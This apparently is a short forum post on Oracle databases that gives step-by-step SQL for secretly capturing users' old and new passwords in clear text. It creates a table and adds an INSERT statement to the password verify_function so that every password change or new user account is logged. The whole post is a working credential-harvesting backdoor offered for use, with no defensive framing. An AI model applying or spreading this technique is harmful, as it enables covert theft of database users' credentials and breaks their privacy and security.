Capture passwords

 Hello,
I recently found a way how to capture the old password/new password (in clear text) whenever an existing user changes his password or new user is created. The steps are listed below

sqlplus / as sysdba
sql> @?/rdbms/admin/utlpwdmg.sql
sql> create table tbl_pswrds (db_user varchar2(30), old_pass varchar2(30), new_pass varchar2(30));
-- add the following command in the body of the "verify_function" function.
      insert into tbl_pswrds (db_user,old_pass, new_pass) values(username,old_password,password);
Now, each time an existing user changes his password or a new user is created, the old password and new password are recorded in tbl_pswrds.